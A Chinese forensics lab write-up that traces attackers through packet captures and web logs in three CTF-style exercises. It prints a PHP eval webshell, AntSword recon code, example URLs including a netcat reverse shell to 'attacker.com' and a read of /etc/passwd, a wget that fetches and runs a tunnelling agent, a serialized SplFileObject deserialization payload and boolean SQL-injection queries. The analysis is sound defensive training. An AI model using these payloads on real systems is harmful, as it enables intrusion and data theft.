当前位置: 首页 > news >正文

【攻防实验】溯源与取证分析实验

溯源与取证分析实验

溯源取证分析作为网络攻防过程中重要环节,准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息),对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或者软件日志等信息来挖掘或者推断相关线索。本实验通过网络流量、日志等溯源环境进行真实案例模仿,通过实战化分析来锻炼学生的取证溯源能力,从而加深大家对于网络攻防的实战化水平。在本实验结束时,学生应该能够具备对网络流量和日志的基本分析能力。

实验工具:

  1. Wireshark(版本≥3.0)
  2. VScode或者类似文本编辑器

Webshell数据包(webshell.zip)

背景介绍: webshell又称脚本木马,通过服务器开放的端口获取服务器的某些权限。

小张单位网站被黑客挂马,请您从流量中分析出webshell,进行回答:
A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。
B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来,并配图说明。

分析过程

1.用 wireshark 打开 hack.pcap ,可以看到有 HTTP 和 TCP 两种类型的流量。

在这里插入图片描述

2.在已知为 webshell 攻击后,我们在wireshark中搜索常用的命令,如 whoami, ls, pwd 等,来进行分析。首先在 wireshark 中设置成如下所示的样子。然后进行搜索。

在这里插入图片描述

3.首先搜索 login,查看登录信息。发现登录的账号和密码。

  • 账号:test
  • 密码:Admin123!@#

在这里插入图片描述

4.然后搜索 whoami,我们发现这个它跟参数 aaa 有关。并且此处对日志文件进行了修改。

在这里插入图片描述

5.我们继而对 aaa 进行搜索。发现 aaaifconfigipconfigpwd 等指令都有关,我充分怀疑这个参数 aaa 有问题,跟webshell有关。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

6.我们仔细观察会发现在查询 aaa 时,有一个很可疑的值(即上面的最后一张图片),这里变量 aaa 中包含了一个命令,作用是通过 system() 函数执行一个 shell 命令,解码 Base64 编码的字符串并将其写入到服务器的 /var/www/html/1.php 文件中。这里有几个疑点:

  1. 为什么会去执行这样一个命令?
  2. 该命令中进行了Base64编码,怀疑是为了绕过审查
  3. 一般情况网站上不会去创建叫做 1.php 的文件
  4. .php 文件为常见的webshell脚本

在这里插入图片描述

7.分析后,我们对这里的 Base64 编码进行解码分析,解码后如下所示。

<?php eval($_REQUEST[aaa^;?>

8.这段代码的作用是,通过 eval() 函数执行传递给 aaa 参数的 PHP 代码。也就是说,黑客可以在 URL 中传递一个恶意的 PHP 代码作为 aaa 参数,服务器就会执行这段代码。比如说,如果黑客知道 Webshell 的存在,他就可以通过下面所示的这些来实现恶意代码注入。而将一个php一句话木马写入了网站根目录下的1.php文件中,可能是为了在服务器持久化存储该木马文件

# 执行系统命令
http://victim.com/shell.php?aaa^=system('cat /etc/passwd');# 上传恶意文件(如果 PHP 有文件上传功能)
http://victim.com/shell.php?aaa^=move_uploaded_file('evil.php', '/var/www/html/evil.php');#  获取反向Shell(这会在受害者的服务器上启动一个反向 shell,连接到攻击者的服务器。)
http://victim.com/shell.php?aaa^=exec('nc -e /bin/bash attacker.com 1234');

9.我们继续跟踪变量 aaa。发现一个比较复杂的命令,形式上符合webshell工具——蚁剑的传输流量特征。这是一段PHP代码。

@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "bc"."0f2";echo @asenc($output);echo "f797e"."322e0";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

在这里插入图片描述

10.该PHP代码段是一个典型的 Webshell,它用于收集并输出受害服务器的关键信息。通过隐藏错误、禁用时间限制、输出混淆等手段,攻击者意图在受害服务器上执行持久化操作。对其分析如下:

@ini_set("display_errors", "0");
@set_time_limit(0);
  • @ini_set("display_errors", "0"):关闭错误显示,避免 PHP 错误信息泄露。
  • @set_time_limit(0):禁用脚本执行时间限制,使脚本可以长时间运行,通常用于持续执行的恶意操作。
function asenc($out) { return $out; };
function asoutput() {$output = ob_get_contents();ob_end_clean();echo "bc" . "0f2";echo @asenc($output);echo "f797e" . "322e0";
}
  • asenc($out):这是一个空的加密/解密函数,实际上并没有对输出做任何处理,只是返回原样的数据。
  • asoutput():该函数获取输出缓冲区的内容(ob_get_contents()),清空缓冲区(ob_end_clean()),然后输出一些字符串:
    • bc0f2f797e322e0 可能是用来混淆输出的无意义字符串,增加分析难度。
    • 然后通过 @asenc($output) 输出原始缓冲区内容。这表明该代码的目标可能是输出一些信息或返回执行结果。
ob_start();
try {$D = dirname($_SERVER["SCRIPT_FILENAME"]);if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]);$R = "{$D}	";if (substr($D, 0, 1) != "/") {foreach (range("C", "Z") as $L)if (is_dir("{$L}:")) $R .= "{$L}:";} else {$R .= "/";}$R .= "	";$u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : "";$s = ($u) ? $u["name"] : @get_current_user();$R .= php_uname();$R .= "	{$s}";echo $R;
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
  • ob_start():启动输出缓冲区,以便后续的输出可以捕获并进行处理(例如用于 asoutput())。
  • $D = dirname($_SERVER["SCRIPT_FILENAME"]):获取当前脚本的目录路径。
  • 如果 $D 为空,则尝试使用 $_SERVER["PATH_TRANSLATED"] 获取路径。
  • 目录信息构建:
    • 如果路径是 Windows 系统路径(不是以/ 开头),代码会尝试列出从 C: 到 Z: 的所有磁盘驱动器,并检查每个驱动器是否是目录。
    • 如果是 Unix 系统,则 $R 的值会是 /
  • 用户信息:
    • 使用 posix_getegid()posix_geteuid() 获取当前用户的组名和用户名信息(如果存在 posix 扩展)。
    • 如果 posix 扩展不可用,则使用 get_current_user() 获取当前 PHP 执行用户。
  • php_uname():返回操作系统信息,如操作系统名称、版本、架构等。
  • 输出信息:
    • 将目录信息、操作系统信息、当前用户名拼接并输出。目的是暴露受害主机的详细环境信息,包括操作系统类型、版本、当前用户等。
} catch (Exception $e) {echo "ERROR://" . $e->getMessage();
}
  • 错误捕捉:如果在执行过程中出现异常,会输出错误信息。
asoutput();
die();
  • asoutput():调用该函数输出缓冲区的内容,并将之前收集到的输出进行处理,可能会显示一些数据或执行其他操作。
  • die():脚本执行完毕后终止。

11.通过上面的分析,我们可以断定 1.php 是黑客的恶意程序。我们继续跟踪变量 aaa。找到这个数据包,我们发现相较之前的数据包,其代码段中包含了一个变量 j68071301598f,并且其值很像一个 Base64 编码后的代码。我们对其进行解码(从第三位开始)得到 frpc.ini 文件路径:

/var/www/html/frpc.ini

在这里插入图片描述

Frpc 为一款内网穿透工具 https://ababtools.com/?post=4421

12.对第二个 item 进行十六进行转 ASCII 的解码。结果如下所示。

# item 的内容
item = 5B636F6D6D6F6E5D0A7365727665725F61646472203D203139322E3136382E3233392E3132330A7365727665725F706F7274203D20373737380A746F6B656E3D586133424A66326C35656E6D4E365A3741386D760A0A5B746573745F736F636B355D0A74797065203D207463700A72656D6F74655F706F7274203D383131310A706C7567696E203D20736F636B73350A706C7567696E5F75736572203D2030484446743136634C514A0A706C7567696E5F706173737764203D204A544E32373647700A7573655F656E6372797074696F6E203D20747275650A7573655F636F6D7072657373696F6E203D20747275650A
# 转码的结果
[common]
server_addr = 192.168.239.123
server_port = 7778
token=Xa3BJf2l5enmN6Z7A8mv[test_sock5]
type = tcp
remote_port =8111
plugin = socks5
plugin_user = 0HDFt16cLQJ
plugin_passwd = JTN276Gp
use_encryption = true
use_compression = true

13.通过解码结果我们可以得到:

  • 服务器IP:192.168.239.123
  • 服务器端口:7778
  • 使用 SOCKS5 插件
  • SOCKS5 代理的用户名:0HDFt16cLQJ
  • SOCKS5 代理的密码:JTN276Gp

至此我们已基本完成对这个流量的分析。

任务完成记录

A. 黑客在整个过程中做了哪些操作,请简单列举出来并截图说明。

登录系统:

在这里插入图片描述

修改日志文件:

在这里插入图片描述

写入webshell:

在这里插入图片描述

蚁剑通过webshell进行连接

在这里插入图片描述

上传代理工具客户端及代理工具回连客户端:

在这里插入图片描述

B. 黑客登录系统使用的密码、黑客的socks5的连接账号与密码请列举出来。

见上面的分析过程

  • 账号:test

  • 密码:Admin123!@#

  • SOCKS5 的连接账号:0HDFt16cLQJ

  • SOCKS5 的密码:JTN276Gp


日志分析(日志分析.zip)

小明发现单位某应用程序被攻击后提取了对应的日志数据,请分析日志并进行作答:
A. 网络存在源码泄漏,源码文件名是什么?(请提交带有文件后缀的文件名,例如x.txt,并对流量分析进行截图)
B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?(请对流量分析进行截图)
C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

任务完成记录

A. 网络存在源码泄漏,源码文件名是什么?

在网络日志中,HTTP 状态码 200 通常表示请求成功,并且服务器已成功处理并返回了请求的资源。如果日志中有 HTTP 200 OK 状态码,并且请求涉及到某些源码文件(如 .php, .jsp, .py, .html 等),这可能表明攻击者通过请求源码文件而获得了敏感信息。

所以我们在日志中搜索 200,查看攻击者成功访问了什么文件。

这里访问了 index.php, www.zip, info.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

需要知道常见的网站备份文件后缀有 .zip.rar.7z等,我们可以看到在成功访问 www.zip 后,接连访问了 www.rar,www.7z,虽然都是状态码为 404 表示访问失败。所以我们合理推测泄露的源码文件应该是 www.zip

在这里插入图片描述

B. 分析攻击流量,黑客往/tmp目录写入一个文件,文件名是什么?

在日志文件中查找 tmp,发现黑客通过filename参数向/tmp目录传递了一个名叫 sess_car 的文件。

在这里插入图片描述

C.分析攻击流量,黑客使用的是什么漏洞读取了秘密文件?

对上面截图中的URL编码进行解码,我们可以看到是利用了 SplFileObject 的漏洞读取了秘密文件。

# 原始 URL编码
filename=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Ftmp%2Fsess_car&content=func%7CN%3Bfiles%7Ca%3A2%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22.%2Ffiles%2Ffilename%22%3Bs%3A20%3A%22call_user_func_array%22%3Bs%3A28%3A%22.%2Ffiles%2Fcall_user_func_array%22%3B%7Dpaths%7Ca%3A1%3A%7Bs%3A5%3A%22%2Fflag%22%3Bs%3A13%3A%22SplFileObject%22%3B%7D HTTP/1.1" 302 879 "-" "python-requests/2.26.0"# URL解码后
filename=../../../../../../../../../../../../../../../../../tmp/sess_car&content=func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";} HTTP/1.1" 302 879 "-" "python-requests/2.26.0"

SplFileObject带来的漏洞
SplFileObject 是 PHP 中一个用于文件处理的类,它为文件操作提供了更高级的功能,比如逐行读取文件内容、写入文件等。SplFileObject 本身并没有漏洞,但由于它的使用不当或不安全的反序列化,攻击者可能通过它来利用一些漏洞,特别是在 PHP 反序列化漏洞 中,SplFileObject 类通常会被滥用来进行恶意操作。


攻击“苹果”注入(ios.zip)

一位苹果安全研究员在家中使用手机联网被黑,不仅被窃密还丢失比特币若干,请你通过流量和日志分析后作答:
A. 简述黑客的整个攻击过程,关键步骤请配图说明。
B. 黑客所控制的C&C服务器IP是什么?
C.被害者手机上被拿走了的私钥文件内容是什么?

任务完成记录

A. 简述黑客的整个攻击过程,关键步骤请配图说明。

1.首先查看日志文件 access.log。因为木马文件常为 php 文件在日志文件中搜索 .php,我们可以看到有一个文件 ma.php被上传,并且红色框出的编码经base64解码后的结果为 whoami ,并且后面的操作都与这个文件相关。所以此处是一个webshell请求,并且这个文件是一个木马文件。

fxxk=system(base64_decode(%27d2hvYW1p%27))

在这里插入图片描述

2.接下来我们查看流量文件 triffic.pcap 。在使用Wireshark的跟踪流功能跟踪到第15个TCP流时,如下所示我们可以看到一个类似于 Linux 客户端的界面,先后执行了

  • ls
  • wget https://github.com/ph4ntonn/Stowaway/releases/download/1.6.2/ios_agent && chmod 755 ios_agent : 使用wget命令访问网站下载了GitHub的资源并赋予了可执行权限。下载的项目是一个内网穿透工具叫做 Stowaway。

在这里插入图片描述
2.我们进入 Stowaway 的 github 主页,看到他的参数介绍,如下所示。

admin:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址
--heartbeat 开启心跳包

agent:

参数:
-l 被动模式下的监听地址[ip]:<port>
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--socks5-proxy socks5代理服务器地址
--socks5-proxyu socks5代理服务器用户名(可选)
--socks5-proxyp socks5代理服务器密码(可选)
--http-proxy http代理服务器地址
--reconnect 重连时间间隔
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP/WS
--down 下游协议类型,默认为裸TCP流量,可选HTTP/WS
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
--tls-enable 为节点通信启用TLS,在启用TLS后,AES加密将被禁用
--domain 指定TLS SNI/WebSocket域名,若为空,默认为目标节点地址

3.我们参考这个说明,继续分析这个流量文件。我们发现攻击者运行ios_agent命令进行攻击。并且可以得到攻击者主机IP是 3.128.156.159,加密密钥是hack4sec。至此对于该TCP流已分析完毕。

在这里插入图片描述
4.我们继续对流量进行分析,我们想要访问HTTP流量时发现全部经过加密,无法正常阅读,这是因为当浏览器访问https站点时使用SSL/TLS协议,必须拥有服务器私钥,才能得到用于对称加密的密钥,然后真正解开加密的数据。这时我们使用提供的密钥文件 keylog.txt 进行解密。

TCP流解密方法 https://blog.csdn.net/for_mat_/article/details/118107321

5.解密后我们查看 HTTP 流量,发现其中有明显的关于 SQL 注入的特征字段,所以将该部分字段拿来进行URL解码。发现确实是在进行布尔注入。

# 解码得到HEADERS[93]: GET /info?l=1&o=(case_when_(select_hex(substr(password,5,1))_from_user)="30"_then_id_else_col1_end), WINDOW_UPDATE[93]

在这里插入图片描述

6.在渗透中通常要扫描端口,由于大多数端口关闭,主机会发出RST,我们只需在wireshark的专家模式中找到RST数据包的最大和最小端口即可确定端口扫描范围。端口扫描范围为 10-499

Wireshark 的专家模式的打开方式

在这里插入图片描述

在这里插入图片描述

至此对于黑客的攻击过程基本分析完毕。

B. 黑客所控制的C&C服务器IP是什么?

由前面的分析过程我们可知,C&C服务器IP : 3.128.156.159

C.被害者手机上被拿走了的私钥文件内容是什么?

将上面的所有SQL注入的每一位的最后一条请求的值连在一起,再使用hex解码就可以得到⼀个uuid值即为私钥文件的内容。

在这里插入图片描述

# 例如下面这个就取 3
43052    2021-08-28 14:10:57.001000    192.168.1.8    192.168.1.12    HTTP2    246    HEADERS[3]: GET /info?l=1&o=%28case_when_%28select_hex%28substr%28password%2C1%2C1%29%29_from_user%29%3D%222D%22_then_id_else_col1_end%29, WINDOW_UPDATE[3]# 全部拼在一起后
37343635386633206338343120343536642038356437206436633066656461626232# 通过HEX解码得到
746558f3-c841-456b-85d7-d6c0f2edabb2

拿到的私钥文件内容为:746558f3-c841-456b-85d7-d6c0f2edabb2


参考资料

[1] https://www.cnblogs.com/leo1017/p/17949472
[2] https://blog.csdn.net/qq_64389397/article/details/135440190

相关文章:

【攻防实验】溯源与取证分析实验

溯源与取证分析实验 溯源取证分析作为网络攻防过程中重要环节&#xff0c;准确找到攻击者的入侵线索(尤其是攻击突破口、攻击IP地址、域名、工具等信息)&#xff0c;对于企业或者团队安全运营团队来说都是必备技能。常规攻击取证过程中往往会结合流量、Web访问日志、终端系统或…...

THREE.js 入门(一)xyz坐标系

一、坐标系概念 在 three.js 中&#xff0c;相机的默认朝向是沿着 Z 轴的负方向。也就是说&#xff0c;默认情况下&#xff0c;相机会沿着 Z 轴的负方向“看”到场景中的对象&#xff0c;而 X 轴和 Y 轴分别对应水平方向和垂直方向。换句话说&#xff0c;相机的默认位置是 (0,…...

AUTOSAR CP中基于通信模块(COM)的Transformer-R24的规范导读

该文档是关于 AUTOSAR CP中基于通信模块&#xff08;COM&#xff09;的Transformer的规范说明&#xff0c;主要内容包括引言、相关文档、约束与假设、功能规范、API 规范、配置规范等&#xff0c;旨在为汽车电子系统开发中基于 COM 的Transformer提供全面的技术规范和指导。 一…...

ubuntu20.04安装anygrasp_sdk

ubuntu20.04安装anygrasp_sdk采坑记录 安装ME的教程看上一篇,现在来看anygrasp安装问题grasp_detection、grasp_trackinglicense申请demo文件的运行注意的地方到这以为大功告成了,然后出现了一个numpy版本不匹配问题最后还有一个问题就是修改demo.sh,不然没法可视化结果展示安…...

Spring完整知识点二

Spring注解开发 Spring是轻代码而重配置的框架&#xff0c;配置比较繁重&#xff0c;影响开发效率&#xff0c;所以注解开发是一种趋势&#xff0c;它能够代替xml配置文件&#xff0c;可以简化配置&#xff0c;提高开发效率Spring注解根据出现时间分类 Spring原始注解&#xf…...

GESP三级集训——课堂笔记(部分)

进制转换&#xff08;二进制、十进制、八进制、十六进制等&#xff09; 十进制&#xff08;逢十进一&#xff09;——Decimal 十进制是我们生活中最常见的进制&#xff0c;如“1”“23”“891”等&#xff1a; 进位过程如下&#xff1a;{1,2,3,4,5,6,7,8,9}{10,11,12,13,14,…...

Spring Boot接口返回统一格式

统一的标准数据格式好处 SpringBoot返回统一的标准数据格式主要有以下几点好处&#xff1a; 增强接口的可读性和可维护性&#xff0c;使得前端开发人员能够更加清晰地理解接口返回的数据结构&#xff0c;从而提高开发效率。 降低前后端耦合度&#xff0c;当后端需要修改返回数…...

Flink如何基于数据版本使用最新离线数据

业务场景 假设批量有一张商户表&#xff0c;表字段中有商户名称和商户分类两个字段。 批量需要将最新的商户名称和分类的映射关系推到hbase供实时使用。 原实现方案 a.原方案内容 为解决批量晚批问题&#xff0c;批量推送hbase表时一份数据产生两类rowkey&#xff1a;T-1和…...

软件开发中的常用性能指标

大家好&#xff01;我是今越。在软件开发中我们经常会遇到一些性能指标&#xff0c;下面就带大家一起来看看。 QPS Queries Per Second&#xff0c;每秒查询率&#xff0c;一台服务器每秒能够响应的查询次数。它是对一个特定的查询服务器在规定时间内所处理流量多少的衡量标准…...

cmakelist使用总结

支持能编译成在不同系统上运行程序的方法 我们代码就一份&#xff0c;但有时需要编译成arm32&#xff0c;有时需要编译成x86_64,或更多 1、首先先将代码定义一个名称&#xff1a; #将所有的源文件列为一个集合&#xff0c;集合名字叫做SRC_LISTS set(SRC_LISTS main.cpp A.cpp…...

准备阶段 Unity优化总纲

Unity优化总纲 我们在学习优化课程之前要预先做好准备功能 例如最主要是的接收到一个优化的任务&#xff0c;应该怎么做&#xff0c;其次怎么做&#xff0c;最后怎么做。 也要学习一些专业工具以及专业术语 了解游戏运行机制&#xff0c;在排查期间思路会更清晰 1.优化目的…...

ubuntu防火墙(三)——firewalld使用与讲解

本文是Linux下&#xff0c;用ufw实现端口关闭、流量控制(二) firewalld使用方式 firewalld 是一个动态管理防火墙的工具&#xff0c;主要用于 Linux 系统&#xff08;包括 Ubuntu 和 CentOS 等&#xff09;。它提供了一个基于区域&#xff08;zones&#xff09;和服务&#x…...

zookeeper 搭建集群

基础的java 环境先安好&#xff0c;选择3台虚拟机 ip 不一样 机器应为奇数个 zookeeper 奇数个节点实际上是(2*n-1) 比偶数台机器少一台解决成本,并且能够满足 zookeeper 集群过半选举leader 的规则 # 3台虚拟机 将zookeeper 解压到服务器上 #在 conf/ 目录下 找到zoo_s…...

Java——异常机制(下)

1 异常处理之(捕获异常) (一般处理运行时异常) (try-catch-finally子句) (finally一般用于文件最后关闭) (catch捕获的子类在前父类在后——>不然父类在前面都让父类捕获掉了&#xff0c;会报错) (Exception是父类放在最后&#xff0c;如果前面没有捕获到&#xff0c;就…...

centos 手动安装libcurl4-openssl-dev库

下载源代码 curl downloadshttps://curl.se/download/ 选择需要下载的版本&#xff0c;我下载的是8.11.0 解压 tar -zxvf curl-8.11.0 查看安装命令 查找INSTALL.md&#xff0c;一般在docs文件夹下 –prefix &#xff1a;指定安装路径&#xff08;默认安装在/usr/local&…...

JS学习(1)(基本概念与作用、与HTML、CSS区别)

目录 一、JavaScript是什么&#xff1f; &#xff08;1&#xff09;基本介绍 &#xff08;2&#xff09;简称&#xff1a;JS&#xff1f; 二、JavaScript的作用。 三、HTML、CSS、JS之间的关系。 &#xff08;1&#xff09;html、css。 &#xff08;2&#xff09;JavaScript。 …...

代码随想录算法训练营day50|动态规划12

不同的子序列 给定一个字符串 s 和一个字符串 t &#xff0c;计算在 s 的子序列中 t 出现的个数。、 编辑距离中的删除元素&#xff0c;其实就是直接变数字&#xff0c;其只删除原来的较长的数组里的元素 递推模拟&#xff0c;使用s的最后一个元素匹配&#xff0c;或者删除…...

JavaWeb学习(2)(Cookie原理(超详细)、HTTP无状态)

目录 一、HTTP无状态。 &#xff08;1&#xff09;"记住我"&#xff1f; &#xff08;2&#xff09;HTTP无状态。 &#xff08;3&#xff09;信息存储客户端中。如何处理&#xff1f; 1、loaclStorage与sessionStorage。 2、Cookie。 二、Cookie。 &#xff08;1&…...

java抽象类

目录 一.抽象类 1.什么是抽象类 2.抽象类特点 (1)抽象类不能直接实例化对象 (2)可以包含抽象方法和具体方法 (3)可以有构造方法 (4)抽象类必须被继承&#xff0c;并且继承后子类要重写父类中的抽象方法&#xff0c;否则子类也是抽象类&#xff0c;必须要使用 abstract 修…...

minio集群部署–linux环境

原文地址&#xff1a;minio集群部署–linux环境 – 无敌牛 欢迎参观我的个人博客&#xff1a;无敌牛 – 技术/著作/典籍/分享等 第一步&#xff1a;安装 有rpm、deb、和二进制文件安装方式。参考文档在&#xff1a;MinIO Object Storage for Linux — MinIO Object Storage …...

从零实现富文本编辑器#5-编辑器选区模型的状态结构表达

先前我们总结了浏览器选区模型的交互策略&#xff0c;并且实现了基本的选区操作&#xff0c;还调研了自绘选区的实现。那么相对的&#xff0c;我们还需要设计编辑器的选区表达&#xff0c;也可以称为模型选区。编辑器中应用变更时的操作范围&#xff0c;就是以模型选区为基准来…...

将对透视变换后的图像使用Otsu进行阈值化,来分离黑色和白色像素。这句话中的Otsu是什么意思?

Otsu 是一种自动阈值化方法&#xff0c;用于将图像分割为前景和背景。它通过最小化图像的类内方差或等价地最大化类间方差来选择最佳阈值。这种方法特别适用于图像的二值化处理&#xff0c;能够自动确定一个阈值&#xff0c;将图像中的像素分为黑色和白色两类。 Otsu 方法的原…...

Axios请求超时重发机制

Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式&#xff1a; 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中&#xff0c;新增了一个本地验证码接口 /code&#xff0c;使用函数式路由&#xff08;RouterFunction&#xff09;和 Hutool 的 Circle…...

VM虚拟机网络配置(ubuntu24桥接模式):配置静态IP

编辑-虚拟网络编辑器-更改设置 选择桥接模式&#xff0c;然后找到相应的网卡&#xff08;可以查看自己本机的网络连接&#xff09; windows连接的网络点击查看属性 编辑虚拟机设置更改网络配置&#xff0c;选择刚才配置的桥接模式 静态ip设置&#xff1a; 我用的ubuntu24桌…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

【从零学习JVM|第三篇】类的生命周期(高频面试题)

前言&#xff1a; 在Java编程中&#xff0c;类的生命周期是指类从被加载到内存中开始&#xff0c;到被卸载出内存为止的整个过程。了解类的生命周期对于理解Java程序的运行机制以及性能优化非常重要。本文会深入探寻类的生命周期&#xff0c;让读者对此有深刻印象。 目录 ​…...

AI+无人机如何守护濒危物种?YOLOv8实现95%精准识别

【导读】 野生动物监测在理解和保护生态系统中发挥着至关重要的作用。然而&#xff0c;传统的野生动物观察方法往往耗时耗力、成本高昂且范围有限。无人机的出现为野生动物监测提供了有前景的替代方案&#xff0c;能够实现大范围覆盖并远程采集数据。尽管具备这些优势&#xf…...

第八部分:阶段项目 6:构建 React 前端应用

现在&#xff0c;是时候将你学到的 React 基础知识付诸实践&#xff0c;构建一个简单的前端应用来模拟与后端 API 的交互了。在这个阶段&#xff0c;你可以先使用模拟数据&#xff0c;或者如果你的后端 API&#xff08;阶段项目 5&#xff09;已经搭建好&#xff0c;可以直接连…...